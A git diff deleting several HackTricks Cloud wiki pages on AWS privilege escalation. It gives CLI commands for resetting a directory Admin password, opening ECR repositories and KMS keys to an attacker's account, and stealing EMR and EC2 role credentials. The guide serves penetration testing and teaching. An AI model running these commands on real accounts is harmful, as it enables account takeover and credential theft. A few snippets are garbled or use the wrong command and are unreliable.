diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
deleted file mode 100644
index 33898f048..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md
+++ /dev/null
@@ -1,60 +0,0 @@
-# AWS - Directory Services Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Directory Services
-
-For more info about directory services check:
-
-{% content-ref url="../aws-services/aws-directory-services-workdocs-enum.md" %}
-[aws-directory-services-workdocs-enum.md](../aws-services/aws-directory-services-workdocs-enum.md)
-{% endcontent-ref %}
-
-### `ds:ResetUserPassword`
-
-This permission allows to **change** the **password** of any **existent** user in the Active Directory.\
-By default, the only existent user is **Admin**.
-
-```
-aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
-```
-
-### AWS Management Console
-
-It's possible to enable an **application access URL** that users from AD can access to login:
-
-<figure><img src="../../../.gitbook/assets/image (244).png" alt=""><figcaption></figcaption></figure>
-
-And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console:
-
-<figure><img src="../../../.gitbook/assets/image (155).png" alt=""><figcaption></figcaption></figure>
-
-There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
deleted file mode 100644
index 3fedf519a..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md
+++ /dev/null
@@ -1,49 +0,0 @@
-# AWS - DynamoDB Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## dynamodb
-
-For more info about dynamodb check:
-
-{% content-ref url="../aws-services/aws-dynamodb-enum.md" %}
-[aws-dynamodb-enum.md](../aws-services/aws-dynamodb-enum.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**:
-
-{% content-ref url="../aws-post-exploitation/aws-dynamodb-post-exploitation.md" %}
-[aws-dynamodb-post-exploitation.md](../aws-post-exploitation/aws-dynamodb-post-exploitation.md)
-{% endcontent-ref %}
-
-### TODO: Read data abusing data Streams
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
deleted file mode 100644
index 29cc69d95..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md
+++ /dev/null
@@ -1,53 +0,0 @@
-# AWS - EBS Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## EBS
-
-### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
-
-An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in:
-
-{% content-ref url="../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md" %}
-[aws-ebs-snapshot-dump.md](../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md)
-{% endcontent-ref %}
-
-Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
-
-The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**.
-
-**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords).
-
-### **`ec2:CreateSnapshot`**
-
-Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project.
-
-You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
deleted file mode 100644
index 9a84a0d29..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ /dev/null
@@ -1,136 +0,0 @@
-# AWS - ECR Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## ECR
-
-### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
-
-An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images.
-
-For more info on how to download images:
-
-{% content-ref url="../aws-post-exploitation/aws-ecr-post-exploitation.md" %}
-[aws-ecr-post-exploitation.md](../aws-post-exploitation/aws-ecr-post-exploitation.md)
-{% endcontent-ref %}
-
-**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic.
-
-### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
-
-An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
-
-To learn how to upload a new image/update one, check:
-
-{% content-ref url="../aws-services/aws-eks-enum.md" %}
-[aws-eks-enum.md](../aws-services/aws-eks-enum.md)
-{% endcontent-ref %}
-
-### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`
-
-Like the previous section, but for public repositories.
-
-### `ecr:SetRepositoryPolicy`
-
-An attacker with this permission could **change** the **repository** **policy** to grant himself (or even everyone) **read/write access**.\
-For example, in this example read access is given to everyone.
-
-```bash
-aws ecr set-repository-policy \
-    --repository-name <repo_name> \
-    --policy-text file://my-policy.json
-```
-
-Contents of `my-policy.json`:
-
-```json
-{
-    "Version" : "2008-10-17",
-    "Statement" : [
-        {
-            "Sid" : "allow public pull",
-            "Effect" : "Allow",
-            "Principal" : "*",
-            "Action" : [
-                "ecr:BatchCheckLayerAvailability",
-                "ecr:BatchGetImage",
-                "ecr:GetDownloadUrlForLayer"
-            ]
-        }
-    ]
-}
-```
-
-### `ecr-public:SetRepositoryPolicy`
-
-Like the previoous section, but for public repositories.\
-An attacker can **modify the repository policy** of an ECR Public repository to grant unauthorized public access or to escalate their privileges.
-
-{% code overflow="wrap" %}
-```bash
-bashCopy code# Create a JSON file with the malicious public repository policy
-echo '{
-  "Version": "2008-10-17",
-  "Statement": [
-    {
-      "Sid": "MaliciousPublicRepoPolicy",
-      "Effect": "Allow",
-      "Principal": "*",
-      "Action": [
-        "ecr-public:GetDownloadUrlForLayer",
-        "ecr-public:BatchGetImage",
-        "ecr-public:BatchCheckLayerAvailability",
-        "ecr-public:PutImage",
-        "ecr-public:InitiateLayerUpload",
-        "ecr-public:UploadLayerPart",
-        "ecr-public:CompleteLayerUpload",
-        "ecr-public:DeleteRepositoryPolicy"
-      ]
-    }
-  ]
-}' > malicious_public_repo_policy.json
-
-# Apply the malicious public repository policy to the ECR Public repository
-aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
-```
-{% endcode %}
-
-**Potential Impact**: Unauthorized public access to the ECR Public repository, allowing any user to push, pull, or delete images.
-
-### `ecr:PutRegistryPolicy`
-
-An attacker with this permission could **change** the **registry policy** to grant himself, his account (or even everyone) **read/write access**.
-
-```bash
-aws ecr set-repository-policy \
-    --repository-name <repo_name> \
-    --policy-text file://my-policy.json
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
deleted file mode 100644
index acad83823..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ /dev/null
@@ -1,92 +0,0 @@
-# AWS - EMR Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## EMR
-
-More **info about EMR** in:
-
-{% content-ref url="../aws-services/aws-emr-enum.md" %}
-[aws-emr-enum.md](../aws-services/aws-emr-enum.md)
-{% endcontent-ref %}
-
-### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
-
-An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\
-Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`).
-
-```bash
-# Import EC2 ssh key (you will need extra permissions for this)
-ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
-chmod 400 /tmp/sshkey
-base64 /tmp/sshkey.pub > /tmp/pub.key
-aws ec2 import-key-pair \
-    --key-name "privesc" \
-    --public-key-material file:///tmp/pub.key
-
-
-aws emr create-cluster \
-    --release-label emr-5.15.0 \
-    --instance-type m4.large \
-    --instance-count 1 \
-    --service-role EMR_DefaultRole \
-    --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
-
-# Wait 1min and connect via ssh to an EC2 instance of the cluster)
-aws emr describe-cluster --cluster-id <id>
-# In MasterPublicDnsName you can find the DNS to connect to the master instance
-## You cna also get this info listing EC2 instances
-```
-
-Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
-
-**Potential Impact:** Privesc to the EC2 service role specified.
-
-### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
-
-With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role.
-
-{% hint style="danger" %}
-Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related.
-{% endhint %}
-
-**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
-
-### `elasticmapreduce:OpenEditorInConsole`
-
-Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\
-The URL of the notebook is `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
-
-{% hint style="danger" %}
-Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related`.`
-{% endhint %}
-
-**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
deleted file mode 100644
index 77979f805..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# AWS - Gamelift
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-### `gamelift:RequestUploadCredentials`
-
-With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**.
-
-```bash
-aws gamelift request-upload-credentials \
-    --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
-```
-
-## References
-
-* [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
deleted file mode 100644
index ccd34ffa8..000000000
--- a/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md
+++ /dev/null
@@ -1,154 +0,0 @@
-# AWS - KMS Privesc
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## KMS
-
-For more info about KMS check:
-
-{% content-ref url="../aws-services/aws-kms-enum.md" %}
-[aws-kms-enum.md](../aws-services/aws-kms-enum.md)
-{% endcontent-ref %}
-
-### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`)
-
-With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone:
-
-{% code overflow="wrap" %}
-```bash
-aws kms list-keys
-aws kms list-key-policies --key-id <id> # Although only 1 max per key
-aws kms get-key-policy --key-id <id> --policy-name <policy_name>
-# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
-aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
-```
-{% endcode %}
-
-policy.json:
-
-```json
-{
-    "Version" : "2012-10-17",
-    "Id" : "key-consolepolicy-3",
-    "Statement" : [ 
-        {
-            "Sid" : "Enable IAM User Permissions",
-            "Effect" : "Allow",
-            "Principal" : {
-                "AWS" : "arn:aws:iam::<origin_account>:root"
-            },
-            "Action" : "kms:*",
-            "Resource" : "*"
-        }, 
-        {
-            "Sid" : "Allow all use",
-            "Effect" : "Allow",
-            "Principal" : {
-                "AWS" : "arn:aws:iam::<attackers_account>:root"
-            },
-            "Action" : [ "kms:*" ],
-            "Resource" : "*"
-        }
-    ]
-}
-```
-
-### `kms:CreateGrant`
-
-It **allows a principal to use a KMS key:**
-
-```bash
-aws kms create-grant \
-    --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
-    --grantee-principal arn:aws:iam::123456789012:user/exampleUser \
-    --operations Decrypt
-```
-
-{% hint style="warning" %}
-A grant can only allow certain types of operations: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-{% endhint %}
-
-{% hint style="warning" %}
-Note that it might take a couple of minutes for KMS to **allow the user to use the key after the grant has been generated**. Once that time has passed, the principal can use the KMS key without needing to specify anything.\
-However, if it's needed to use the grant right away [use a grant token](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (check the following code).\
-For [**more info read this**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token).
-{% endhint %}
-
-```bash
-# Use the grant token in a request
-aws kms generate-data-key \
-    --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
-    –-key-spec AES_256 \
-    --grant-tokens $token
-```
-
-Note that it's possible to list grant of keys with:
-
-```bash
-aws kms list-grants --key-id <value>
-```
-
-### `kms:CreateKey`, `kms:ReplicateKey`
-
-With these permissions it's possible to replicate a multi-region enabled KMS key in a different region with a different policy.
-
-So, an attacker could abuse this to obtain privesc his access to the key and use it
-
-{% code overflow="wrap" %}
-```bash
-aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
-
-{
-    "Version": "2012-10-17",
-    "Id": "key-consolepolicy-3",
-    "Statement": [
-        {
-            "Sid": "Enable IAM User Permissions",
-            "Effect": "Allow",
-            "Principal": {
